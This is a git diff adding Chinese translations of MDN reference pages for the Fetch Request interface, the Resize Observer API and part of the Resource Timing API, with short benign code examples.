{{domxref("Body.json()")}}
+
返回解决一个{{domxref("JSON")}}表示的请求主体的promise.
+
{{domxref("Body.text()")}}
+
返回解决一个{{domxref("USVString")}}(文本)表示的请求主体的promise.
+
+ +

注意:这些Body功能只能运行一次; 随后的调用将通过空strings/ ArrayBuffers解析.

+ +

示例

+ +

在下面的代码中,我们使用 Request ( ) 构造函数创建了一个新的 request实例 (用来请求同一目录下的图片), 然后返回请求的一些属性。

+ +
const myRequest = new Request('http://localhost/flowers.jpg');
+
+const myURL = myRequest.url; // http://localhost/flowers.jpg
+const myMethod = myRequest.method; // GET
+const myCred = myRequest.credentials; // omit
+
+ +

然后,通过将Request对象作为参数传递给{{domxref("GlobalFetch.fetch()")}}调用来获取此请求,例如:

+ +
fetch(myRequest)
+  .then(response => response.blob())
+  .then(blob => {
+    myImage.src = URL.createObjectURL(blob);
+  });
+
+
+ +

在下面的代码片段中,我们使用Request()构造函数创建了一个新的request,其中包含一些初始数据和正文内容,用于需要主体有效载荷的api请求:

+ +
const myRequest = new Request('http://localhost/api', {method: 'POST', body: '{"foo":"bar"}'});
+
+const myURL = myRequest.url; // http://localhost/api
+const myMethod = myRequest.method; // POST
+const myCred = myRequest.credentials; // omit
+const bodyUsed = myRequest.bodyUsed;
+
+ +

注意:body类型只能是一个{{domxref("Blob")}},{{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} 或者{{domxref("ReadableStream")}}类型,因此增加一个JSON对象的有效载荷则需要字符串化该对象.

+ +

例如,您可以通过将Request对象作为参数传递给{{domxref("GlobalFetch.fetch()")}}调用来获取此api请求,并获得响应:

+ +
fetch(myRequest)
+  .then(response => {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Something went wrong on api server!');
+    }
+  })
+  .then(response => {
+    console.debug(response);
+    // ...
+  }).catch(error => {
+    console.error(error);
+  });
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#request-class','Request')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ + + +
+ + + + +

{{Compat("api.Request")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/request/method/index.html b/files/zh-cn/web/api/request/method/index.html new file mode 100644 index 0000000000..a10396fe27 --- /dev/null +++ b/files/zh-cn/web/api/request/method/index.html @@ -0,0 +1,113 @@ +--- +title: Request.method +slug: Web/API/Request/method +translation_of: Web/API/Request/method +--- +
{{APIRef("Fetch")}}{{SeeCompatTable}}
+ +

{{domxref("Request")}}的只读属性method包含请求的方法(GET, POST, etc.)

+ +

语法

+ +
var myMethod = request.method;
+ +

Value

+ +

A {{domxref("ByteString")}} indicating the method of the request.

+ +

举例

+ +

In the following snippet, we create a new request using the {{domxref("Request.Request()")}} constructor (for an image file in the same directory as the script), then save the method of the request in a variable:

+ +
var myRequest = new Request('flowers.jpg');
+var myMethod = myRequest.method; // GET
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-method','method')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is implemented behind a preference.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/request/mode/index.html b/files/zh-cn/web/api/request/mode/index.html new file mode 100644 index 0000000000..ae3bb32f8a --- /dev/null +++ b/files/zh-cn/web/api/request/mode/index.html @@ -0,0 +1,80 @@ +--- +title: Request.mode +slug: Web/API/Request/mode +tags: + - API + - Fetch + - 参考 + - 属性 + - 请求 +translation_of: Web/API/Request/mode +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Request")}} 接口的 mode 只读属性包含请求的模式(例如:cors 、 no-cors 、 cors-with-forced-preflight 、 same-origin 或 navigate 。)这用于确定跨域请求是否能得到有效的响应,以及响应的哪些属性是可读的。

+ + + +

语法

+ +
var myMode = request.mode;
+ +

属性值

+ +

一个 RequestMode 值。

+ + + +

默认模式

+ +

可以以多种方式发起请求,并且请求的模式取决于发起请求的特定方式。

+ +

例如,当一个 Request 对象以 {{domxref("Request.Request")}} 方式创建,该Request 的 mode 的值为 cors 。

+ +

然而,除了以 {{domxref("Request.Request")}} 创建的请求,模式通常为 no-cors 。例如,对与嵌入资源发起的请求,除非存在 crossorigin 属性,即对于 {{HTMLElement("link")}} 、 {{HTMLElement("script")}} (除了和模块一起使用之外)、 {{HTMLElement("img")}}、 {{HTMLElement("audio")}}、 {{HTMLElement("video")}}、 {{HTMLElement("object")}}、 {{HTMLElement("embed")}}还有 {{HTMLElement("iframe")}} 元素,在大多数情况下是使用 no-cors 模式

+ +

示例

+ +

在下面代码段中,我们使用 {{domxref("Request.Request()")}} 创建请求(请求与脚本位于同一目录中的图像文件),然后将请求模式保存在一个变量中:

+ +

In the following snippet, we create a new request using theconstructor (for an image file in the same directory as the script), then save the request mode in a variable:

+ +
var myRequest = new Request('flowers.jpg');
+var myMode = myRequest.mode; // returns "cors" by default
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Fetch','#dom-request-mode', 'mode')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Request.mode")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/request/request/index.html b/files/zh-cn/web/api/request/request/index.html new file mode 100644 index 0000000000..369f8d4e7f --- /dev/null +++ b/files/zh-cn/web/api/request/request/index.html @@ -0,0 +1,158 @@ +--- +title: Request() +slug: Web/API/Request/Request +tags: + - API + - Fetch + - Reference + - request + - 实验性功能 + - 构造函数 +translation_of: Web/API/Request/Request +--- +

{{APIRef("Fetch")}}{{ SeeCompatTable() }}

+ +

Request() 构造器创建一个新的{{domxref("Request")}} 对象。

+ +

语法

+ +
var myRequest = new Request(input[, init]);
+ +

参数

+ +
+
input
+
定义你想要fetch的资源。可以是下面两者之一: +
    +
  • 一个直接包含你希望 fetch 的资源的 URL 的 {{domxref("USVString")}}。
  • +
  • 一个 {{domxref("Request")}} 对象。请注意以下行为更新,以在保留安全性的同时使构造函数不太可能引发异常: +
      +
    • 如果此对象存在于构造函数调用的另一个起源上,则将除去{{domxref("Request.referrer")}}。
    • +
    • 如果此对象的导航为 {{domxref("Request.mode")}},则mode将转换为same-origin
    • +
    +
  • +
+
+
init {{optional_inline}}
+
一个可选对象,包含希望被包括到请求中的各种自定义选项。可用的选项如下: +
    +
  • method: 请求的方法,例如:GET, POST。
  • +
  • headers: 任何你想加到请求中的头,其被放在{{domxref("Headers")}}对象或内部值为{{domxref("ByteString")}} 的对象字面量中。
  • +
  • body: 任何你想加到请求中的body,可以是{{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, 或 {{domxref("USVString")}}对象。注意GET 和 HEAD请求没有body。
  • +
  • mode: 请求的模式, 比如 cors, no-cors, same-origin, 或 navigate。默认值为 cors
  • +
  • credentials: 想要在请求中使用的credentials:: omit, same-origin, 或 include。默认值应该为omit。但在Chrome中,Chrome 47 之前的版本默认值为 same-origin ,自Chrome 47起,默认值为include。
  • +
  • cache: 请求中想要使用的 cache mode 
  • +
  • redirect: 对重定向处理的模式: follow, error, or manual。在Chrome中,Chrome 47 之前的版本默认值为 manual ,自Chrome 47起,默认值为follow。
  • +
  • referrer: 一个指定了no-referrerclient, 或一个 URL的 {{domxref("USVString")}} 。默认值是about:client
  • +
  • integrity: 包括请求的 subresource integrity 值 (e.g., sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=).
  • +
+
+
+ +

Errors

+ + + + + + + + + + + + + + +
TypeDescription
TypeErrorFirefox 43后, 若URL有credentials,Request() 会抛出TypeError , 例如http://user:password@example.com。
+ +

Example

+ +

在我们的获取请求示例 Fetch Request example  (see Fetch Request live) 中,我们使用构造函数创建一个新的Request对象, 然后使用 {{domxref("GlobalFetch.fetch")}} 发送请求. 由于我们正在获取图像, 我们在响应上运行 {{domxref("Body.blob")}} 以为其提供正确的 MIME 类型,以便对其进行正确处理, 然后为其创建一个 Object URL,并将其显示在 {{htmlelement("img")}} 元素中。

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});
+ +

Fetch Request with init example (参见 Fetch Request init live) 我们做了同样的事情,只不过我们在调用fetch()时,还传递进了一个 init 对象:

+ +
var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+fetch(myRequest).then(function(response) {
+  ...
+});
+ +

注意你也可以把 init 对象作为参数传递到fetch调用中来达到同样的效果。如下:

+ +
fetch(myRequest,myInit).then(function(response) {
+  ...
+});
+ +

也可以使用在init中使用对象字面量作为headers。

+ +
var myInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+ +

也可以把 {{domxref("Request")}} 对象再作参数传递进 Request() 构造器来创建一个请求的副本(就像调用{{domxref("Request.clone","clone()")}}一样)。

+ +
+
var copy = new Request(myRequest);
+
+
+ +
+

Note: This last usage is probably only useful in ServiceWorkers.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request','Request()')}}{{Spec2('Fetch')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Request.Request")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/request/url/index.html b/files/zh-cn/web/api/request/url/index.html new file mode 100644 index 0000000000..de2a6d17f1 --- /dev/null +++ b/files/zh-cn/web/api/request/url/index.html @@ -0,0 +1,113 @@ +--- +title: Request.url +slug: Web/API/Request/url +translation_of: Web/API/Request/url +--- +
{{APIRef("Fetch")}}{{SeeCompatTable}}
+ +

The url read-only property of the {{domxref("Request")}} interface contains the URL of the request.

+ +

句法

+ +
var myURL = request.url;
+ +

Value

+ +

A {{domxref("USVString")}} indicating the url of the request.

+ +

举例

+ +

In the following snippet, we create a new request using the {{domxref("Request.Request()")}} constructor (for an image file in the same directory as the script), then save the url of the request in a variable:

+ +
var myRequest = new Request('flowers.jpg');
+var myURL = myRequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg"
+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-url','url')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
+ {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
+ 34[1]
{{CompatNo}} +

29
+ 28[1]

+
{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] This feature is implemented behind a preference.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/resize_observer_api/index.html b/files/zh-cn/web/api/resize_observer_api/index.html new file mode 100644 index 0000000000..17a6bed612 --- /dev/null +++ b/files/zh-cn/web/api/resize_observer_api/index.html @@ -0,0 +1,89 @@ +--- +title: Resize Observer API +slug: Web/API/Resize_Observer_API +translation_of: Web/API/Resize_Observer_API +--- +

{{DefaultAPISidebar("Resize Observer API")}}

+ +

Resize Observer API提供了一种高性能的机制,通过该机制,代码可以监视元素的大小更改,并且每次大小更改时都会向观察者传递通知。

+ +

概念和使用

+ +

存在大量的响应式设计(以及其他相关)技术,它们可以响应元素大小的变化,但是以前,它们的实现常常很笨拙或者说生硬。

+ +

举个例子,当视口更改大小时, 媒介查询 / {{domxref("window.matchMedia")}} 非常适合在特定点更新布局,但是如果要响应于特定元素的大小更改而更改布局,该元素又不是外部容器时,该怎么办?

+ +

为此,一种有限的解决方案是监听对适当事件的更改,该事件会提示您对更改大小感兴趣的元素 (例如 window resize event),然后找出该元素之后新的尺寸或其他功能,例如,使用{{domxref("Element.getBoundingClientRect")}} 或者{{domxref("Window.getComputedStyle")}},来调整大小。

+ +

这样的解决方案仅适用于有限的场景,对性能不利(不断调用上述方法会导致性能严重下降),并且在不更改浏览器窗口大小的情况下通常不起作用。

+ +

Resize Observer API提供了一种解决此类问题的解决方案,此外,它还使您能够轻松观察和响应元素内容或边框的大小变化,并以高效的方式做出响应。 它为Web平台中经常讨论的缺少element queries 提供了JavaScript解决方案。

+ +

用法很简单,并且与其他观察者(例如 Performance Observer 或者 Intersection Observer )— 几乎相同,您可以使用 ResizeObserver()构造函数创建一个新的{{domxref("ResizeObserver")}} ,然后使用 {{domxref("ResizeObserver.observe()")}}使其寻找特定元素大小的更改。 每次更改大小时,构造函数中设置的回调函数便会运行,从而提供对新维度的访问权限,并允许您根据需要执行任何操作。

+ +

接口

+ +
+
{{domxref("ResizeObserver")}}
+
提供注册新观察者以及启动和停止观察元素的能力。
+
{{domxref("ResizeObserverEntry")}}
+
描述已调整大小的单个元素,标识该元素及其新大小。
+
+ +

例子

+ +

您可以在我们的GitHub存储库中找到几个简单的示例:

+ + + +

代码通常将遵循这种模式 (取自 resize-observer-border-radius.html):

+ +
const resizeObserver = new ResizeObserver(entries => {
+  for (let entry of entries) {
+    if(entry.contentBoxSize) {
+      entry.target.style.borderRadius = Math.min(100, (entry.contentBoxSize.inlineSize/10) +
+                                                      (entry.contentBoxSize.blockSize/10)) + 'px';
+    } else {
+      entry.target.style.borderRadius = Math.min(100, (entry.contentRect.width/10) +
+                                                      (entry.contentRect.height/10)) + 'px';
+    }
+  }
+});
+
+resizeObserver.observe(document.querySelector('div'));
+ +

技术规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('Resize Observer')}}{{Spec2('Resize Observer')}}Initial definition.
+ +

浏览器支持情况

+ +

此页面中的兼容性表是根据结构化数据生成的。如果你想贡献数据,请到 https://github.com/mdn/browser-compat-data 提PR。

+ +

{{Compat("api.ResizeObserver")}}

+ +

相关链接

+ + + + diff --git a/files/zh-cn/web/api/resizeobserver/disconnect/index.html b/files/zh-cn/web/api/resizeobserver/disconnect/index.html new file mode 100644 index 0000000000..ab492524d0 --- /dev/null +++ b/files/zh-cn/web/api/resizeobserver/disconnect/index.html @@ -0,0 +1,48 @@ +--- +title: ResizeObserver.disconnect() +slug: Web/API/ResizeObserver/disconnect +translation_of: Web/API/ResizeObserver/disconnect +--- +
{{APIRef("Resize Observer API")}}{{SeeCompatTable}}
+ +

The disconnect() method of the {{domxref("ResizeObserver")}} interface unobserves all observed {{domxref('Element')}} or {{domxref('SVGElement')}} targets.
+ {{domxref("ResizeObserver")}} 接口的 disconnect() 方法会停止和取消目标对象上所有对{{domxref('Element')}} 或 {{domxref('SVGElement')}} 的监听。

+ +

语法

+ +
resizeObserver.disconnect();
+ +

参数

+ +

无。

+ +

返回值

+ +

{{jsxref('undefined')}}

+ +

异常

+ +

无。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resize Observer','#dom-resizeobserver-disconnect','disconnect()')}}{{Spec2('Resize Observer')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ResizeObserver.disconnect")}}

diff --git a/files/zh-cn/web/api/resizeobserver/index.html b/files/zh-cn/web/api/resizeobserver/index.html new file mode 100644 index 0000000000..602fb4b351 --- /dev/null +++ b/files/zh-cn/web/api/resizeobserver/index.html @@ -0,0 +1,79 @@ +--- +title: ResizeObserver +slug: Web/API/ResizeObserver +translation_of: Web/API/ResizeObserver +--- +
{{APIRef("Resize Observer API")}}{{SeeCompatTable}}
+ +

ResizeObserver 接口可以监听到 {{domxref('Element')}} 的内容区域或 {{domxref('SVGElement')}}的边界框改变。内容区域则需要减去内边距padding。(有关内容区域、内边距资料见盒子模型

+ +

ResizeObserver避免了在自身回调中调整大小,从而触发的无限回调和循环依赖。它仅通过在后续帧中处理DOM中更深层次的元素来实现这一点。如果(浏览器)遵循规范,只会在绘制前或布局后触发调用。

+ +

构造器

+ +
+
{{domxref("ResizeObserver.ResizeObserver", "ResizeObserver()")}}
+
创建并返回一个ResizeObserver对象。
+
+ +

属性

+ +

无。

+ +

Event handlers

+ +

无。

+ +

方法

+ +
+
{{domxref('ResizeObserver.disconnect()')}}
+
取消和结束目标对象上所有对 {{domxref('Element')}}或 {{domxref('SVGElement')}} 观察。
+
{{domxref('ResizeObserver.observe()')}}
+
开始观察指定的 {{domxref('Element')}}或 {{domxref('SVGElement')}}。
+
{{domxref('ResizeObserver.unobserve()')}}
+
结束观察指定的{{domxref('Element')}}或 {{domxref('SVGElement')}}。
+
+ +

示例

+ +

以下示例通过观察box的宽度变化从而改变其边框圆角半径。

+ +
const resizeObserver = new ResizeObserver(entries => {
+  for (let entry of entries) {
+    entry.target.style.borderRadius = Math.max(0, 250 - entry.contentRect.width) + 'px';
+  }
+});
+resizeObserver.observe(document.querySelector('.box:nth-child(2)'));
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resize Observer','#resize-observer-interface','ResizeObserver')}}{{Spec2('Resize Observer')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ResizeObserver")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/resizeobserver/observe/index.html b/files/zh-cn/web/api/resizeobserver/observe/index.html new file mode 100644 index 0000000000..67d09f60fe --- /dev/null +++ b/files/zh-cn/web/api/resizeobserver/observe/index.html @@ -0,0 +1,62 @@ +--- +title: ResizeObserver.observe() +slug: Web/API/ResizeObserver/observe +translation_of: Web/API/ResizeObserver/observe +--- +
{{APIRef("Resize Observer API")}}{{SeeCompatTable}}
+ +

The observe() method of the {{domxref("ResizeObserver")}} interface initiates observing of a specified {{domxref('Element')}} or {{domxref('SVGElement')}}.
+ {{domxref("ResizeObserver")}} 接口的 observe() 方法用于观察一个指定{{domxref('Element')}} 或 {{domxref('SVGElement')}}。

+ +

语法

+ +
resizeObserver.observe(target);
+ +

参数

+ +
+
target
+
被观察的 {{domxref('Element')}} 或 {{domxref('SVGElement')}} 引用。
+
+ +

返回值

+ +

{{jsxref('undefined')}}

+ +

异常

+ +

+ +

示例

+ +

以下示例通过观察box的尺寸变化从而改变其边框圆角半径。

+ +
const resizeObserver = new ResizeObserver(entries => {
+  for (let entry of entries) {
+    entry.target.style.borderRadius = Math.max(0, 250 - entry.contentRect.width) + 'px';
+  }
+});
+resizeObserver.observe(document.querySelector('.box:nth-child(2)'));
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resize Observer','#dom-resizeobserver-observe','observe()')}}{{Spec2('Resize Observer')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ResizeObserver.observe")}}

diff --git a/files/zh-cn/web/api/resizeobserver/resizeobserver/index.html b/files/zh-cn/web/api/resizeobserver/resizeobserver/index.html new file mode 100644 index 0000000000..5e563c608b --- /dev/null +++ b/files/zh-cn/web/api/resizeobserver/resizeobserver/index.html @@ -0,0 +1,57 @@ +--- +title: ResizeObserver.ResizeObserver() +slug: Web/API/ResizeObserver/ResizeObserver +translation_of: Web/API/ResizeObserver/ResizeObserver +--- +
{{APIRef("Resize Observer API")}}{{SeeCompatTable}}
+ +

ResizeObserver 构造器创新一个新的  {{domxref("ResizeObserver")}} 对象,用于接收 {{domxref('Element')}}内容区域的改变 或 {{domxref('SVGElement')}} 的边界框改变改变。

+ +

语法

+ +
var ResizeObserver = new ResizeObserver(callback)
+ +

参数

+ +
+
回调函数
+
The method called whenever a resize occurs. The method is called with an array of {{domxref('ResizeObserverEntry')}} objects.
+ 当尺寸发生变化时触发回调,使用{{domxref('ResizeObserverEntry')}}对象数组调用该方法。
+
+ +

示例

+ +

The following example shows the dimensions of a box inside it, as text, upon resizing.
+ 下面示例展示了box调整大小时,其内部文本显示为尺寸大小。

+ +
const resizeObserver = new ResizeObserver(entries => {
+  for (let entry of entries) {
+    const boxEl = entry.target;
+    const dimensions = entry.contentRect;
+    boxEl.textContent = `${dimensions.width} x ${dimensions.height}`;
+  }
+});
+resizeObserver.observe(document.querySelector('.box:nth-child(2)'));
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resize Observer','#dom-resizeobserver-resizeobserver-callback-callback','ResizeObserver')}}{{Spec2('Resize Observer')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ResizeObserver.ResizeObserver")}}

diff --git a/files/zh-cn/web/api/resizeobserver/unobserve/index.html b/files/zh-cn/web/api/resizeobserver/unobserve/index.html new file mode 100644 index 0000000000..d655375fd3 --- /dev/null +++ b/files/zh-cn/web/api/resizeobserver/unobserve/index.html @@ -0,0 +1,51 @@ +--- +title: ResizeObserver.unobserve() +slug: Web/API/ResizeObserver/unobserve +translation_of: Web/API/ResizeObserver/unobserve +--- +
{{APIRef("Resize Observer API")}}{{SeeCompatTable}}
+ +

The unobserve() method of the {{domxref("ResizeObserver")}} interface ends the observing of a specified {{domxref('Element')}} or {{domxref('SVGElement')}}.
+ {{domxref("ResizeObserver")}} 接口的 unobserve()  方法用于结束一个指定的 {{domxref('Element')}} 或 {{domxref('SVGElement')}} 的观察。

+ +

语法

+ +
void unobserve(target);
+ +

参数

+ +
+
target
+
取消监听的{{domxref('Element')}} 或 {{domxref('SVGElement')}} 的引用。
+
+ +

返回值

+ +

{{jsxref('undefined')}}

+ +

异常

+ +

无。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resize Observer','#dom-resizeobserver-unobserve','unobserve()')}}{{Spec2('Resize Observer')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ResizeObserver.unobserve")}}

diff --git a/files/zh-cn/web/api/resizeobserverentry/index.html b/files/zh-cn/web/api/resizeobserverentry/index.html new file mode 100644 index 0000000000..e3aa5fede9 --- /dev/null +++ b/files/zh-cn/web/api/resizeobserverentry/index.html @@ -0,0 +1,60 @@ +--- +title: ResizeObserverEntry +slug: Web/API/ResizeObserverEntry +translation_of: Web/API/ResizeObserverEntry +--- +
{{APIRef("Resize Observer API")}}{{SeeCompatTable}}
+ +

ResizeObserverEntry 接口是传递给{{domxref('ResizeObserver.ResizeObserver','ResizeObserver()')}} 构造器回调函数中的参数对象。

+ +

属性

+ +
+
{{domxref('ResizeObserverEntry.contentRect')}} {{experimental_inline}} {{readonlyinline}}
+
对改变尺寸大小的元素的 {{domxref('DOMRectReadOnly')}}引用(包含x,y,width,height,top,right,bottom,left属性)。
+
{{domxref('ResizeObserverEntry.target')}} {{experimental_inline}} {{readonlyinline}}
+
当前改变尺寸大小的元素的 {{domxref('Element')}} 引用
+
 
+
+ +

事件

+ +

+ +

方法

+ +

无.

+ +

示例

+ +

以下示例通过观察box的宽度变化从而改变其边框圆角半径。

+ +
const resizeOserver = new ResizeObserver(entries => {
+  for (let entry of entries) {
+    entry.target.style.borderRadius = Math.max(0, 250 - entry.contentRect.width) + 'px';
+  }
+});
+resizeObserver.observe(document.querySelector('.box:nth-child(2)'));
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resize Observer','#resize-observer-entry-interface','ResizeObserverEntry')}}{{Spec2('Resize Observer')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ResizeObserverEntry")}}

diff --git a/files/zh-cn/web/api/resource_timing_api/index.html b/files/zh-cn/web/api/resource_timing_api/index.html new file mode 100644 index 0000000000..238135639e --- /dev/null +++ b/files/zh-cn/web/api/resource_timing_api/index.html @@ -0,0 +1,76 @@ +--- +title: Resource Timing API +slug: Web/API/Resource_Timing_API +translation_of: Web/API/Resource_Timing_API +--- +
{{DefaultAPISidebar("Resource Timing API")}}
+ +
 
+ +
通过Resource Timing API可以获取和分析应用资源加载的详细网络计时数据, 应用程序可以
+ +
使用时间度量标准来确定加载特定资源所需要的时间, 比如 {{domxref("XMLHttpRequest")}}, {{SVGElement("SVG","SVG element")}}, 图片, 或者脚本.
+ +
 
+ +

Resource Timing API为网络事件(如重定向的开始和结束事件, DNS查找的开始和结束事件, 请求开始, 响应开始和结束时间等)生成有高分辨率时间戳( {{domxref("DOMHighResTimeStamp","high-resolution timestamps", "", 1)}} )的资源加载时间线, 并提供了资源大小和资源类型.

+ +

本文档是Resource Timing API的概述. 更多详细信息, 请查阅每个接口的参考说明, Using Resource Timing 和 {{anch("See_Also","附录")}} 的参考链接. 有关资源时序处理模型的图示,请参阅 resource timing phases .

+ +

PerformanceResourceTiming 接口只统计{{domxref("PerformanceEntry","performance entries", "", 1)}} 中 {{domxref("PerformanceEntry.entryType","entryType")}} 为"resource"类型的 {{domxref("PerformanceEntry")}}

+ +

高分辨率时间戳

+ +

一些 Resource Timing 属性返回高分辨率时间戳, 顾名思义, 代表了高分辨率的时间点. 高分辨率时间戳类型是{{domxref("DOMHighResTimeStamp")}}, 用双精度数字(double)表示, 它的值是一个离散的时间点或者两个离散时间点之间的时间差.

+ +

DOMHighResTimeStamp的单位是毫秒(ms), 并且应该可以准确到 5 微秒(µs). 但是, 如果浏览器无法以提供精确到5微秒的时间值(如软硬件限制), 则可以将该值表示为以毫秒为单位的精确到毫秒的时间。

+ +

资源载入时间戳

+ +

应用程序可以获得用于加载资源的各个阶段的时间戳. 处理模型中的第一个属性是 {{domxref("PerformanceEntry.startTime","startTime")}} , 它在资源加载过程开始之前立即返回时间. {{domxref("PerformanceResourceTiming.fetchStart","fetchStart")}} 跟踪和重定向处理(如果适用),并在DNS查找之前进行. 下个阶段是{{domxref('PerformanceResourceTiming.connectStart','connectStart')}} 和 {{domxref('PerformanceResourceTiming.connectEnd','connectEnd')}} 分别是开始连接到服务器和连接建立完成的时间戳. 最后三个按顺序分别是: {{domxref('PerformanceResourceTiming.requestStart','requestStart')}} - 在浏览器开始向服务器请求资源时; {{domxref('PerformanceResourceTiming.responseStart','responseStart')}} - 资源请求首包返回时; and {{domxref('PerformanceResourceTiming.responseEnd','responseEnd')}} - 资源全部接收完成时. 如果资源是通过安全连接加载的 {{domxref('PerformanceResourceTiming.secureConnectionStart','secureConnectionStart')}} 的值将会在connectStart和connectEnd之间.

+ +
+

当 {{Glossary("CORS")}} 生效时, 除非服务器的访问策略允许共享这些值,否则这些值中的许多将返回为零. 这需要提供资源的服务器发送 Timing-Allow-Origin HTTP 响应头并且指定origin[s]来源才能允许获取这些被限制的时间戳 .

+ +

在非web页面本身的域名下,这些属性在默认都会返回0值 : redirectStart, redirectEnd, domainLookupStart, domainLookupEnd, connectStart, connectEnd, secureConnectionStart, requestStart, 和 responseStart.

+
+ +

The {{domxref("PerformanceResourceTiming")}} interface also includes several network timing properties. The {{domxref("PerformanceResourceTiming.redirectStart","redirectStart")}} and {{domxref("PerformanceResourceTiming.redirectEnd","redirectEnd")}} properties return {{domxref("DOMHighResTimeStamp","timestamps")}} for redirect start and end times, respectively. Likewise, the The {{domxref("PerformanceResourceTiming.domainLookupStart","domainLookupStart")}} and {{domxref("PerformanceResourceTiming.domainLookupEnd","domainLookupEnd")}} properties return {{domxref("DOMHighResTimeStamp","timestamps")}} for DNS lookup start and end times, respectively.

+ +

This would be a nice place to have a diagram showing the relationships between these segments of the resource loading time.

+ +

Resource size

+ +

 {{domxref("PerformanceResourceTiming")}}接口有三个属性用来获取一个资源的数据大小。 {{domxref('PerformanceResourceTiming.transferSize','transferSize')}} 属性返回所获得的资源大小,包含响应头加上响应体。

+ +

The {{domxref('PerformanceResourceTiming.encodedBodySize','encodedBodySize')}} property returns the size (in octets) received from the fetch (HTTP or cache), of the payload body, before removing any applied content-codings. {{domxref('PerformanceResourceTiming.decodedBodySize','decodedBodySize')}} returns the size (in octets) received from the fetch (HTTP or cache) of the message body, after removing any applied content-codings.

+ +

Other properties

+ +

The {{domxref('PerformanceResourceTiming.nextHopProtocol','nextHopProtocol')}} property returns the network protocol used to fetch the resource.

+ +

The {{domxref('PerformanceResourceTiming.initiatorType','initiatorType')}} property returns the type of resource that initiated the performance entry such as "css" for a CSS resource, "xmlhttprequest" for an XMLHttpRequest and "img" for an image (such as a JPEG).

+ +

If the current context is a {{domxref("Worker","worker")}}, the {{domxref('PerformanceResourceTiming.workerStart','workerStart')}} property can be used to obtain a {{domxref("DOMHighResTimeStamp")}} when the worker was started.

+ +

Methods

+ +

